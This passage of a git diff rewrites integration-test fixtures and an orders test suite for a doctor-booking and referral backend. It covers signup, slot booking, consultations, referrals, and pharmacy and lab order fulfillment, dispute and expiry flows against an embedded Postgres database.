- const slots = await generateSlots(app, doctor, 2); - const slotId = slots[0]; - const appointment = await bookAppointment(app, patient, slotId); - const completed = await setAppointmentStatus(app, doctor, appointment.id, 'completed'); - if (completed.status !== 200) throw new Error(`complete failed: ${completed.status} ${completed.text}`); - const consultation = await createConsultation(app, doctor, appointment.id); - return { appointmentId: appointment.id, consultationId: consultation.id, slotId }; -} - -export async function createReferral( - app: App, - doctor: { accessToken: string }, - input: { - sourceConsultationId: string; - // Either a named doctor or a specialty (issue #6 routing, ADR 0008). - targetDoctorId?: string; - targetSpecialtyId?: string; - snapshotNotes: string; - }, -) { - return request(app).post('/referrals').set('Authorization', `Bearer ${doctor.accessToken}`).send(input); -} - -export async function acceptReferral( - app: App, - patient: { accessToken: string }, - referralId: string, - availabilitySlotId: string, -) { - return request(app) - .post(`/referrals/${referralId}/accept`) - .set('Authorization', `Bearer ${patient.accessToken}`) - .send({ availabilitySlotId }); -} - -/** Phase-gate helper for the end-to-end care-thread test: each phase's - * steps stay skipped (with a reason) until the phase lands, so the - * scaffold can merge before every module exists. */ -export function phaseGate(enabled: boolean, reason: string): { enabled: boolean; reason: string } { - return { enabled, reason }; -} +// Shared fixtures for the Phase-3 referral integration tests and the +// Phase-9 end-to-end care-thread test. Each test file still owns its own +// embedded Postgres + port + app instance (see booking.test.mts for the +// pattern); this module only bundles the HTTP flows every test repeats: +// signup, verify, promote, generate slots, book, complete, consult. +// +// Fixture-only direct DB writes (specialty links, doctor verification, +// role promotion, createdAt backdating) are deliberate: the APIs those +// stand in for are other issues' scope (#23 specialty management, admin +// bootstrap CLI) and are not what these tests are proving. +import request from 'supertest'; + +type App = ReturnType; +type PrismaClient = typeof import('../../../src/db/prisma-client.js').prisma; + +export interface DoctorFixture { + userId: string; + accessToken: string; + profileId: string; + email: string; +} + +export interface PatientFixture { + userId: string; + accessToken: string; + profileId: string; + email: string; +} + +let runCounter = 0; +function nextEmail(prefix: string, runId: number) { + runCounter += 1; + return `${prefix}-${runId}-${runCounter}@example.com`; +} + +export async function installEmailCapture(emailedTokens: Map) { + const authServices = await import('../../../src/modules/auth/services/index.js'); + authServices.setEmailSender(async (message) => { + const match = /[?&]token=([^&\s]+)/.exec(message.text); + if (match) emailedTokens.set(message.to, decodeURIComponent(match[1])); + }); +} + +export async function resetEmailSenderFixture() { + const authServices = await import('../../../src/modules/auth/services/index.js'); + authServices.resetEmailSender(); +} + +async function signupAndVerify( + app: App, + emailedTokens: Map, + role: 'patient' | 'doctor', + prefix: string, + runId: number, +): Promise<{ userId: string; accessToken: string; email: string }> { + const email = nextEmail(prefix, runId); + const res = await request(app).post('/auth/signup').send({ + role, + email, + password: 'longenough123', + fullName: `Fixture ${prefix}`, + }); + if (res.status !== 200) throw new Error(`signup failed for ${email}: ${res.status} ${res.text}`); + + const token = emailedTokens.get(email); + if (!token) throw new Error(`no verification email captured for ${email}`); + const verified = await request(app).post('/auth/verify-email').send({ token }); + if (verified.status !== 200) throw new Error(`verify failed for ${email}`); + + return { userId: res.body.user.id as string, accessToken: res.body.accessToken as string, email }; +} + +/** Signup + verify + promote DoctorProfile to `verified` (+ optional + * specialty assignment), since the manual-admin verification UI and + * specialty management APIs are out of these tests' scope. */ +export async function makeDoctor( + app: App, + prisma: PrismaClient, + emailedTokens: Map, + runId: number, + options: { specialtyId?: string } = {}, +): Promise { + const base = await signupAndVerify(app, emailedTokens, 'doctor', 'doctor', runId); + const profile = await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: base.userId } }); + await prisma.doctorProfile.update({ + where: { id: profile.id }, + data: { verificationStatus: 'verified' }, + }); + if (options.specialtyId) { + await prisma.doctorSpecialty.create({ + data: { doctorProfileId: profile.id, specialtyId: options.specialtyId }, + }); + } + return { ...base, profileId: profile.id }; +} + +export async function makePatient( + app: App, + emailedTokens: Map, + runId: number, +): Promise { + const base = await signupAndVerify(app, emailedTokens, 'patient', 'patient', runId); + const profile = await prismaProfileFor(app, base.userId); + return { ...base, profileId: profile }; +} + +async function prismaProfileFor(app: App, userId: string): Promise { + void app; + const db = await import('../../../src/db/prisma-client.js'); + const profile = await db.prisma.patientProfile.findUniqueOrThrow({ where: { userId } }); + return profile.id; +} + +/** Promote-then-login: the role claim is baked into the access token, so + * a promoted admin needs a fresh login to actually act as one. */ +export async function makeAdmin( + app: App, + prisma: PrismaClient, + emailedTokens: Map, + runId: number, +): Promise<{ accessToken: string; userId: string }> { + const base = await signupAndVerify(app, emailedTokens, 'patient', 'admin', runId); + await prisma.user.update({ where: { id: base.userId }, data: { role: 'admin' } }); + const login = await request(app).post('/auth/login').send({ email: base.email, password: 'longenough123' }); + if (login.status !== 200) throw new Error(`admin login failed: ${login.status} ${login.text}`); + return { userId: base.userId, accessToken: login.body.accessToken as string }; +} + +export async function makeSpecialty(prisma: PrismaClient, name: string): Promise { + const slug = name.toLowerCase().replace(/\s+/g, '-'); + const specialty = await prisma.specialty.create({ data: { name, slug } }); + return specialty.id; +} + +/** Generate tomorrow-morning slots for a doctor and return their OPEN + * ids. Wide window (08:00–20:00, 30-min slots β†’ 24/day) on purpose: the + * booking API's listing only returns still-open slots, and several tests + * in one file consume slots of the same doctor on the same day. */ +export async function generateSlots( + app: App, + doctor: { accessToken: string; profileId: string }, + _count = 6, +): Promise { + const tomorrow = new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString().slice(0, 10); + const res = await request(app) + .post(`/availability/doctors/${doctor.profileId}/slots/generate`) + .set('Authorization', `Bearer ${doctor.accessToken}`) + .send({ date: tomorrow, startHour: 8, endHour: 20, slotLengthMinutes: 30 }); + if (res.status !== 201) throw new Error(`slot generation failed: ${res.status} ${res.text}`); + + const slots = await request(app).get(`/availability/doctors/${doctor.profileId}/slots`); + const ids = slots.body.map((slot: { id: string }) => slot.id); + if (ids.length === 0) throw new Error(`no open slots for doctor ${doctor.profileId}`); + return ids; +} + +export async function bookAppointment( + app: App, + patient: { accessToken: string }, + slotId: string, +): Promise<{ id: string }> { + const res = await request(app) + .post('/appointments') + .set('Authorization', `Bearer ${patient.accessToken}`) + .send({ availabilitySlotId: slotId }); + if (res.status !== 201) throw new Error(`booking failed: ${res.status} ${res.text}`); + return res.body as { id: string }; +} + +export async function setAppointmentStatus( + app: App, + doctor: { accessToken: string }, + appointmentId: string, + status: 'completed' | 'cancelled' | 'no_show', +) { + return request(app) + .patch(`/appointments/${appointmentId}/status`) + .set('Authorization', `Bearer ${doctor.accessToken}`) + .send({ status }); +} + +export async function createConsultation( + app: App, + doctor: { accessToken: string }, + appointmentId: string, + outcome: 'resolved' | 'referred' | 'follow_up_needed' = 'referred', +): Promise<{ id: string }> { + const res = await request(app) + .post('/consultations') + .set('Authorization', `Bearer ${doctor.accessToken}`) + .send({ appointmentId, outcome, notes: 'fixture consultation' }); + if (res.status !== 201) throw new Error(`consultation failed: ${res.status} ${res.text}`); + return res.body as { id: string }; +} + +/** The end-to-end pre-referral ritual: slots, book, complete, consult. */ +export async function consultationRitual( + app: App, + patient: PatientFixture, + doctor: DoctorFixture, +): Promise<{ appointmentId: string; consultationId: string; slotId: string }> { + const slots = await generateSlots(app, doctor, 2); + const slotId = slots[0]; + const appointment = await bookAppointment(app, patient, slotId); + const completed = await setAppointmentStatus(app, doctor, appointment.id, 'completed'); + if (completed.status !== 200) throw new Error(`complete failed: ${completed.status} ${completed.text}`); + const consultation = await createConsultation(app, doctor, appointment.id); + return { appointmentId: appointment.id, consultationId: consultation.id, slotId }; +} + +export async function createReferral( + app: App, + doctor: { accessToken: string }, + input: { + sourceConsultationId: string; + // Either a named doctor or a specialty (issue #6 routing, ADR 0008). + targetDoctorId?: string; + targetSpecialtyId?: string; + snapshotNotes: string; + }, +) { + return request(app).post('/referrals').set('Authorization', `Bearer ${doctor.accessToken}`).send(input); +} + +export async function acceptReferral( + app: App, + patient: { accessToken: string }, + referralId: string, + availabilitySlotId: string, +) { + return request(app) + .post(`/referrals/${referralId}/accept`) + .set('Authorization', `Bearer ${patient.accessToken}`) + .send({ availabilitySlotId }); +} + +/** Phase-gate helper for the end-to-end care-thread test: each phase's + * steps stay skipped (with a reason) until the phase lands, so the + * scaffold can merge before every module exists. */ +export function phaseGate(enabled: boolean, reason: string): { enabled: boolean; reason: string } { + return { enabled, reason }; +} diff --git a/backend/tests/integration/order-fixtures.mts b/backend/tests/integration/order-fixtures.mts index 44e7d8f1..60954289 100644 --- a/backend/tests/integration/order-fixtures.mts +++ b/backend/tests/integration/order-fixtures.mts @@ -1,39 +1,39 @@ -import type { PrismaClient } from '@prisma/client'; - -export async function createOrderFixture( - prisma: PrismaClient, - input: { patientProfileId: string; facilityProfileId: string; kind: 'prescription' | 'lab_order'; amountStroops: bigint; tag: string }, -) { - const doctorUser = await prisma.user.create({ data: { email: `order-doctor-${input.tag}@example.com`, passwordHash: 'unused', role: 'doctor' } }); - const doctor = await prisma.doctorProfile.create({ data: { userId: doctorUser.id, fullName: 'Order Test Doctor', verificationStatus: 'verified' } }); - const startTime = new Date(Date.now() + 60 * 60 * 1000); - const slot = await prisma.availabilitySlot.create({ data: { - doctorProfileId: doctor.id, startTime, endTime: new Date(startTime.getTime() + 30 * 60 * 1000), - } }); - const appointment = await prisma.appointment.create({ data: { - patientProfileId: input.patientProfileId, doctorProfileId: doctor.id, availabilitySlotId: slot.id, - } }); - const consultation = await prisma.consultation.create({ data: { appointmentId: appointment.id } }); - if (input.kind === 'prescription') { - const order = await prisma.prescription.create({ data: { - consultationId: consultation.id, patientProfileId: input.patientProfileId, prescribingDoctorId: doctor.id, - facilityProfileId: input.facilityProfileId, amountStroops: input.amountStroops, - items: { create: [{ drugName: 'Test medicine', dosage: '1 tablet', frequency: 'daily', duration: '5 days' }] }, - } }); - return { id: order.id, consultationId: consultation.id, doctorProfileId: doctor.id, patientProfileId: input.patientProfileId, facilityProfileId: input.facilityProfileId, kind: input.kind, amountStroops: input.amountStroops }; - } - const order = await prisma.labOrder.create({ data: { - consultationId: consultation.id, patientProfileId: input.patientProfileId, orderingDoctorId: doctor.id, - facilityProfileId: input.facilityProfileId, amountStroops: input.amountStroops, testType: 'Test panel', - } }); - return { id: order.id, consultationId: consultation.id, doctorProfileId: doctor.id, patientProfileId: input.patientProfileId, facilityProfileId: input.facilityProfileId, kind: input.kind, amountStroops: input.amountStroops }; -} - -export function createPaymentIntentForFixture(prisma: PrismaClient, order: Awaited>, status: 'created' | 'escrowed' = 'created') { - return prisma.paymentIntent.create({ data: { - prescriptionId: order.kind === 'prescription' ? order.id : null, - labOrderId: order.kind === 'lab_order' ? order.id : null, - patientProfileId: order.patientProfileId, facilityId: order.facilityProfileId, - amount: order.amountStroops, assetCode: 'XLM', status, - } }); +import type { PrismaClient } from '@prisma/client'; + +export async function createOrderFixture( + prisma: PrismaClient, + input: { patientProfileId: string; facilityProfileId: string; kind: 'prescription' | 'lab_order'; amountStroops: bigint; tag: string }, +) { + const doctorUser = await prisma.user.create({ data: { email: `order-doctor-${input.tag}@example.com`, passwordHash: 'unused', role: 'doctor' } }); + const doctor = await prisma.doctorProfile.create({ data: { userId: doctorUser.id, fullName: 'Order Test Doctor', verificationStatus: 'verified' } }); + const startTime = new Date(Date.now() + 60 * 60 * 1000); + const slot = await prisma.availabilitySlot.create({ data: { + doctorProfileId: doctor.id, startTime, endTime: new Date(startTime.getTime() + 30 * 60 * 1000), + } }); + const appointment = await prisma.appointment.create({ data: { + patientProfileId: input.patientProfileId, doctorProfileId: doctor.id, availabilitySlotId: slot.id, + } }); + const consultation = await prisma.consultation.create({ data: { appointmentId: appointment.id } }); + if (input.kind === 'prescription') { + const order = await prisma.prescription.create({ data: { + consultationId: consultation.id, patientProfileId: input.patientProfileId, prescribingDoctorId: doctor.id, + facilityProfileId: input.facilityProfileId, amountStroops: input.amountStroops, + items: { create: [{ drugName: 'Test medicine', dosage: '1 tablet', frequency: 'daily', duration: '5 days' }] }, + } }); + return { id: order.id, consultationId: consultation.id, doctorProfileId: doctor.id, patientProfileId: input.patientProfileId, facilityProfileId: input.facilityProfileId, kind: input.kind, amountStroops: input.amountStroops }; + } + const order = await prisma.labOrder.create({ data: { + consultationId: consultation.id, patientProfileId: input.patientProfileId, orderingDoctorId: doctor.id, + facilityProfileId: input.facilityProfileId, amountStroops: input.amountStroops, testType: 'Test panel', + } }); + return { id: order.id, consultationId: consultation.id, doctorProfileId: doctor.id, patientProfileId: input.patientProfileId, facilityProfileId: input.facilityProfileId, kind: input.kind, amountStroops: input.amountStroops }; +} + +export function createPaymentIntentForFixture(prisma: PrismaClient, order: Awaited>, status: 'created' | 'escrowed' = 'created') { + return prisma.paymentIntent.create({ data: { + prescriptionId: order.kind === 'prescription' ? order.id : null, + labOrderId: order.kind === 'lab_order' ? order.id : null, + patientProfileId: order.patientProfileId, facilityId: order.facilityProfileId, + amount: order.amountStroops, assetCode: 'XLM', status, + } }); } \ No newline at end of file diff --git a/backend/tests/integration/orders.test.mts b/backend/tests/integration/orders.test.mts index 6cf49761..56bb4fe8 100644 --- a/backend/tests/integration/orders.test.mts +++ b/backend/tests/integration/orders.test.mts @@ -1,346 +1,346 @@ -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5457; -const runId = Date.now(); - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-orders-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); - -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_orders_test`; - -type App = ReturnType; -type Prisma = typeof import('../../src/db/prisma-client.js').prisma; - -describe('Orders integration tests', () => { - let app: App; - let prisma: Prisma; - let expireUnconfirmedOrders: typeof import('../../src/jobs/order-expiry.js').expireUnconfirmedOrders; - - let patient1Token: string; - let patient1ProfileId: string; - let patient2Token: string; - let facility1Token: string; - let adminToken: string; - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_orders_test'); - - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - process.env.DATABASE_URL = databaseUrl; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - const expiryModule = await import('../../src/jobs/order-expiry.js'); - - app = appModule.createApp(); - prisma = dbModule.prisma; - expireUnconfirmedOrders = expiryModule.expireUnconfirmedOrders; - - // Seed actors - // Patient 1 - const p1Res = await request(app).post('/auth/signup').send({ - role: 'patient', - email: `patient1-${runId}@example.com`, - password: 'longenough123', - fullName: 'Patient One', - }); - expect(p1Res.status).toBe(200); - patient1Token = p1Res.body.accessToken; - - const p1Profile = await prisma.patientProfile.findUniqueOrThrow({ - where: { userId: p1Res.body.user.id }, - }); - patient1ProfileId = p1Profile.id; - - // Patient 2 - const p2Res = await request(app).post('/auth/signup').send({ - role: 'patient', - email: `patient2-${runId}@example.com`, - password: 'longenough123', - fullName: 'Patient Two', - }); - expect(p2Res.status).toBe(200); - patient2Token = p2Res.body.accessToken; - - // Facility & Admin via direct DB insert - const bcryptjs = await import('bcryptjs'); - const hash = await bcryptjs.hash('longenough123', 4); - - const facilityUser = await prisma.user.create({ - data: { - email: `facility1-${runId}@example.com`, - passwordHash: hash, - role: 'facility', - emailVerifiedAt: new Date(), - }, - }); - await prisma.facilityProfile.create({ - data: { - userId: facilityUser.id, - name: `Pharmacy ${runId}`, - type: 'pharmacy', - }, - }); - - const facLogin = await request(app).post('/auth/login').send({ - email: `facility1-${runId}@example.com`, - password: 'longenough123', - }); - expect(facLogin.status).toBe(200); - facility1Token = facLogin.body.accessToken; - - await prisma.user.create({ - data: { - email: `admin1-${runId}@example.com`, - passwordHash: hash, - role: 'admin', - emailVerifiedAt: new Date(), - }, - }); - const adminLogin = await request(app).post('/auth/login').send({ - email: `admin1-${runId}@example.com`, - password: 'longenough123', - }); - expect(adminLogin.status).toBe(200); - adminToken = adminLogin.body.accessToken; - }, 30_000); - - afterAll(async () => { - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('facility fulfills pharmacy order with proof (reference number required)', async () => { - // 1. Create pharmacy order - const orderRes = await request(app) - .post('/pharmacy-orders') - .set('Authorization', `Bearer ${patient1Token}`) - .send({ patientProfileId: patient1ProfileId, details: 'Amoxicillin 500mg' }); - - expect(orderRes.status).toBe(201); - const orderId = orderRes.body.id; - expect(orderRes.body.status).toBe('issued'); - expect(orderRes.body.confirmedSignal).toBe(false); - - // 2. Patient cannot fulfill order (facility-only) - const patientFulfill = await request(app) - .post(`/pharmacy-orders/${orderId}/fulfill`) - .set('Authorization', `Bearer ${patient1Token}`) - .send({ referenceNumber: 'REF-12345' }); - expect(patientFulfill.status).toBe(403); - - // 3. Facility fulfills without reference number -> 400 Bad Request - const missingRef = await request(app) - .post(`/pharmacy-orders/${orderId}/fulfill`) - .set('Authorization', `Bearer ${facility1Token}`) - .send({ referenceNumber: '' }); - expect(missingRef.status).toBe(400); - - // 4. Facility fulfills with reference number & optional attachment -> 200 - const fulfillRes = await request(app) - .post(`/pharmacy-orders/${orderId}/fulfill`) - .set('Authorization', `Bearer ${facility1Token}`) - .send({ - referenceNumber: 'REF-PHARM-99', - attachment: { fileName: 'receipt.pdf' }, - notes: 'Dispensed 30 capsules', - }); - - expect(fulfillRes.status).toBe(200); - expect(fulfillRes.body.status).toBe('fulfilled'); - expect(fulfillRes.body.fulfillmentProofs).toHaveLength(1); - expect(fulfillRes.body.fulfillmentProofs[0].referenceNumber).toBe('REF-PHARM-99'); - expect(fulfillRes.body.fulfillmentProofs[0].attachmentUrl).toMatch(/^storage:\/\/attachments\/\d+-receipt\.pdf$/); - - // 5. Trying to fulfill again -> 409 Conflict - const secondFulfill = await request(app) - .post(`/pharmacy-orders/${orderId}/fulfill`) - .set('Authorization', `Bearer ${facility1Token}`) - .send({ referenceNumber: 'REF-DUP' }); - expect(secondFulfill.status).toBe(409); - }); - - it('patient confirm-receipt and dispute are mutually exclusive', async () => { - // Create & fulfill pharmacy order for patient 1 - const orderRes = await request(app) - .post('/pharmacy-orders') - .set('Authorization', `Bearer ${patient1Token}`) - .send({ patientProfileId: patient1ProfileId, details: 'Ibuprofen 400mg' }); - const orderId = orderRes.body.id; - - await request(app) - .post(`/pharmacy-orders/${orderId}/fulfill`) - .set('Authorization', `Bearer ${facility1Token}`) - .send({ referenceNumber: 'REF-PAT-1' }); - - // Patient 2 (not owner) attempts confirm -> 403 or 404 - const p2Confirm = await request(app) - .post(`/orders/${orderId}/confirm-receipt`) - .set('Authorization', `Bearer ${patient2Token}`); - expect(p2Confirm.status).toBe(403); - - // Patient 1 confirms receipt - const confirmRes = await request(app) - .post(`/orders/${orderId}/confirm-receipt`) - .set('Authorization', `Bearer ${patient1Token}`); - expect(confirmRes.status).toBe(200); - expect(confirmRes.body.confirmed).toBe(true); - expect(confirmRes.body.confirmationSource).toBe('patient'); - expect(confirmRes.body.confirmedSignal).toBe(true); - - // Patient 1 attempts to dispute confirmed order -> 409 Conflict - const disputeRes = await request(app) - .post(`/orders/${orderId}/dispute`) - .set('Authorization', `Bearer ${patient1Token}`) - .send({ reason: 'Damaged package' }); - expect(disputeRes.status).toBe(409); - }); - - it('disputing an order prevents receipt confirmation and appears in admin dispute queue', async () => { - // Create & fulfill lab order for patient 1 - const orderRes = await request(app) - .post('/lab-orders') - .set('Authorization', `Bearer ${patient1Token}`) - .send({ patientProfileId: patient1ProfileId, details: 'Blood Panel Test' }); - const orderId = orderRes.body.id; - - await request(app) - .post(`/lab-orders/${orderId}/fulfill`) - .set('Authorization', `Bearer ${facility1Token}`) - .send({ referenceNumber: 'REF-LAB-001' }); - - // Dispute without reason -> 400 Bad Request - const noReason = await request(app) - .post(`/orders/${orderId}/dispute`) - .set('Authorization', `Bearer ${patient1Token}`) - .send({ reason: ' ' }); - expect(noReason.status).toBe(400); - - // Dispute with reason -> 200 - const disputeRes = await request(app) - .post(`/orders/${orderId}/dispute`) - .set('Authorization', `Bearer ${patient1Token}`) - .send({ reason: 'Sample results missing' }); - expect(disputeRes.status).toBe(200); - expect(disputeRes.body.disputed).toBe(true); - - // Attempting confirm receipt now -> 409 Conflict - const confirmRes = await request(app) - .post(`/orders/${orderId}/confirm-receipt`) - .set('Authorization', `Bearer ${patient1Token}`); - expect(confirmRes.status).toBe(409); - - // Admin lists disputes - const adminQueue = await request(app) - .get('/admin/orders/disputes') - .set('Authorization', `Bearer ${adminToken}`); - expect(adminQueue.status).toBe(200); - expect(adminQueue.body.length).toBeGreaterThan(0); - const disputeItem = adminQueue.body.find((d: any) => d.orderId === orderId); - expect(disputeItem).toBeTruthy(); - expect(disputeItem.reason).toBe('Sample results missing'); - expect(disputeItem.status).toBe('pending'); - - // Admin resolves dispute - const resolveRes = await request(app) - .post(`/admin/orders/disputes/${disputeItem.id}/resolve`) - .set('Authorization', `Bearer ${adminToken}`) - .send({ - resolutionNotes: 'Refund issued to patient account', - outcome: 'refunded', - }); - expect(resolveRes.status).toBe(200); - expect(resolveRes.body.dispute.status).toBe('resolved'); - expect(resolveRes.body.dispute.resolutions).toHaveLength(1); - expect(resolveRes.body.dispute.resolutions[0].outcome).toBe('refunded'); - - // Note: resolving dispute does NOT mark order as confirmed! - const updatedOrder = await request(app) - .get(`/orders/${orderId}`) - .set('Authorization', `Bearer ${patient1Token}`); - expect(updatedOrder.body.confirmed).toBe(false); - }); - - it('expiry job auto-confirms unconfirmed orders past window and NEVER confirms disputed orders', async () => { - // 1. Order A: fulfilled, past window -> should be auto-confirmed with confirmationSource: 'timeout' - const orderARes = await request(app) - .post('/pharmacy-orders') - .set('Authorization', `Bearer ${patient1Token}`) - .send({ patientProfileId: patient1ProfileId, details: 'Metformin 500mg' }); - const orderAId = orderARes.body.id; - - await request(app) - .post(`/pharmacy-orders/${orderAId}/fulfill`) - .set('Authorization', `Bearer ${facility1Token}`) - .send({ referenceNumber: 'REF-EXP-A' }); - - // Backdate fulfilledAt 100 hours ago (> 72 hr default window) - const hundredHoursAgo = new Date(Date.now() - 100 * 60 * 60 * 1000); - await prisma.order.update({ - where: { id: orderAId }, - data: { fulfilledAt: hundredHoursAgo }, - }); - - // 2. Order B: fulfilled, past window, BUT disputed -> must NOT be auto-confirmed - const orderBRes = await request(app) - .post('/pharmacy-orders') - .set('Authorization', `Bearer ${patient1Token}`) - .send({ patientProfileId: patient1ProfileId, details: 'Omeprazole 20mg' }); - const orderBId = orderBRes.body.id; - - await request(app) - .post(`/pharmacy-orders/${orderBId}/fulfill`) - .set('Authorization', `Bearer ${facility1Token}`) - .send({ referenceNumber: 'REF-EXP-B' }); - - await request(app) - .post(`/orders/${orderBId}/dispute`) - .set('Authorization', `Bearer ${patient1Token}`) - .send({ reason: 'Incorrect dosage provided' }); - - await prisma.order.update({ - where: { id: orderBId }, - data: { fulfilledAt: hundredHoursAgo }, - }); - - // Run expiry job - const { confirmedCount } = await expireUnconfirmedOrders(72); - expect(confirmedCount).toBeGreaterThanOrEqual(1); - - // Verify Order A is confirmed - const orderA = await prisma.order.findUniqueOrThrow({ where: { id: orderAId } }); - expect(orderA.confirmed).toBe(true); - expect(orderA.confirmationSource).toBe('timeout'); - - // Verify Order B remains unconfirmed - const orderB = await prisma.order.findUniqueOrThrow({ where: { id: orderBId } }); - expect(orderB.confirmed).toBe(false); - expect(orderB.disputed).toBe(true); - - // Re-running expiry job -> idempotent - const rerun = await expireUnconfirmedOrders(72); - expect(rerun.confirmedCount).toBe(0); - }); -}); +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5457; +const runId = Date.now(); + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-orders-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); + +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_orders_test`; + +type App = ReturnType; +type Prisma = typeof import('../../src/db/prisma-client.js').prisma; + +describe('Orders integration tests', () => { + let app: App; + let prisma: Prisma; + let expireUnconfirmedOrders: typeof import('../../src/jobs/order-expiry.js').expireUnconfirmedOrders; + + let patient1Token: string; + let patient1ProfileId: string; + let patient2Token: string; + let facility1Token: string; + let adminToken: string; + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_orders_test'); + + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + process.env.DATABASE_URL = databaseUrl; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + const expiryModule = await import('../../src/jobs/order-expiry.js'); + + app = appModule.createApp(); + prisma = dbModule.prisma; + expireUnconfirmedOrders = expiryModule.expireUnconfirmedOrders; + + // Seed actors + // Patient 1 + const p1Res = await request(app).post('/auth/signup').send({ + role: 'patient', + email: `patient1-${runId}@example.com`, + password: 'longenough123', + fullName: 'Patient One', + }); + expect(p1Res.status).toBe(200); + patient1Token = p1Res.body.accessToken; + + const p1Profile = await prisma.patientProfile.findUniqueOrThrow({ + where: { userId: p1Res.body.user.id }, + }); + patient1ProfileId = p1Profile.id; + + // Patient 2 + const p2Res = await request(app).post('/auth/signup').send({ + role: 'patient', + email: `patient2-${runId}@example.com`, + password: 'longenough123', + fullName: 'Patient Two', + }); + expect(p2Res.status).toBe(200); + patient2Token = p2Res.body.accessToken; + + // Facility & Admin via direct DB insert + const bcryptjs = await import('bcryptjs'); + const hash = await bcryptjs.hash('longenough123', 4); + + const facilityUser = await prisma.user.create({ + data: { + email: `facility1-${runId}@example.com`, + passwordHash: hash, + role: 'facility', + emailVerifiedAt: new Date(), + }, + }); + await prisma.facilityProfile.create({ + data: { + userId: facilityUser.id, + name: `Pharmacy ${runId}`, + type: 'pharmacy', + }, + }); + + const facLogin = await request(app).post('/auth/login').send({ + email: `facility1-${runId}@example.com`, + password: 'longenough123', + }); + expect(facLogin.status).toBe(200); + facility1Token = facLogin.body.accessToken; + + await prisma.user.create({ + data: { + email: `admin1-${runId}@example.com`, + passwordHash: hash, + role: 'admin', + emailVerifiedAt: new Date(), + }, + }); + const adminLogin = await request(app).post('/auth/login').send({ + email: `admin1-${runId}@example.com`, + password: 'longenough123', + }); + expect(adminLogin.status).toBe(200); + adminToken = adminLogin.body.accessToken; + }, 30_000); + + afterAll(async () => { + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('facility fulfills pharmacy order with proof (reference number required)', async () => { + // 1. Create pharmacy order + const orderRes = await request(app) + .post('/pharmacy-orders') + .set('Authorization', `Bearer ${patient1Token}`) + .send({ patientProfileId: patient1ProfileId, details: 'Amoxicillin 500mg' }); + + expect(orderRes.status).toBe(201); + const orderId = orderRes.body.id; + expect(orderRes.body.status).toBe('issued'); + expect(orderRes.body.confirmedSignal).toBe(false); + + // 2. Patient cannot fulfill order (facility-only) + const patientFulfill = await request(app) + .post(`/pharmacy-orders/${orderId}/fulfill`) + .set('Authorization', `Bearer ${patient1Token}`) + .send({ referenceNumber: 'REF-12345' }); + expect(patientFulfill.status).toBe(403); + + // 3. Facility fulfills without reference number -> 400 Bad Request + const missingRef = await request(app) + .post(`/pharmacy-orders/${orderId}/fulfill`) + .set('Authorization', `Bearer ${facility1Token}`) + .send({ referenceNumber: '' }); + expect(missingRef.status).toBe(400); + + // 4. Facility fulfills with reference number & optional attachment -> 200 + const fulfillRes = await request(app) + .post(`/pharmacy-orders/${orderId}/fulfill`) + .set('Authorization', `Bearer ${facility1Token}`) + .send({ + referenceNumber: 'REF-PHARM-99', + attachment: { fileName: 'receipt.pdf' }, + notes: 'Dispensed 30 capsules', + }); + + expect(fulfillRes.status).toBe(200); + expect(fulfillRes.body.status).toBe('fulfilled'); + expect(fulfillRes.body.fulfillmentProofs).toHaveLength(1); + expect(fulfillRes.body.fulfillmentProofs[0].referenceNumber).toBe('REF-PHARM-99'); + expect(fulfillRes.body.fulfillmentProofs[0].attachmentUrl).toMatch(/^storage:\/\/attachments\/\d+-receipt\.pdf$/); + + // 5. Trying to fulfill again -> 409 Conflict + const secondFulfill = await request(app) + .post(`/pharmacy-orders/${orderId}/fulfill`) + .set('Authorization', `Bearer ${facility1Token}`) + .send({ referenceNumber: 'REF-DUP' }); + expect(secondFulfill.status).toBe(409); + }); + + it('patient confirm-receipt and dispute are mutually exclusive', async () => { + // Create & fulfill pharmacy order for patient 1 + const orderRes = await request(app) + .post('/pharmacy-orders') + .set('Authorization', `Bearer ${patient1Token}`) + .send({ patientProfileId: patient1ProfileId, details: 'Ibuprofen 400mg' }); + const orderId = orderRes.body.id; + + await request(app) + .post(`/pharmacy-orders/${orderId}/fulfill`) + .set('Authorization', `Bearer ${facility1Token}`) + .send({ referenceNumber: 'REF-PAT-1' }); + + // Patient 2 (not owner) attempts confirm -> 403 or 404 + const p2Confirm = await request(app) + 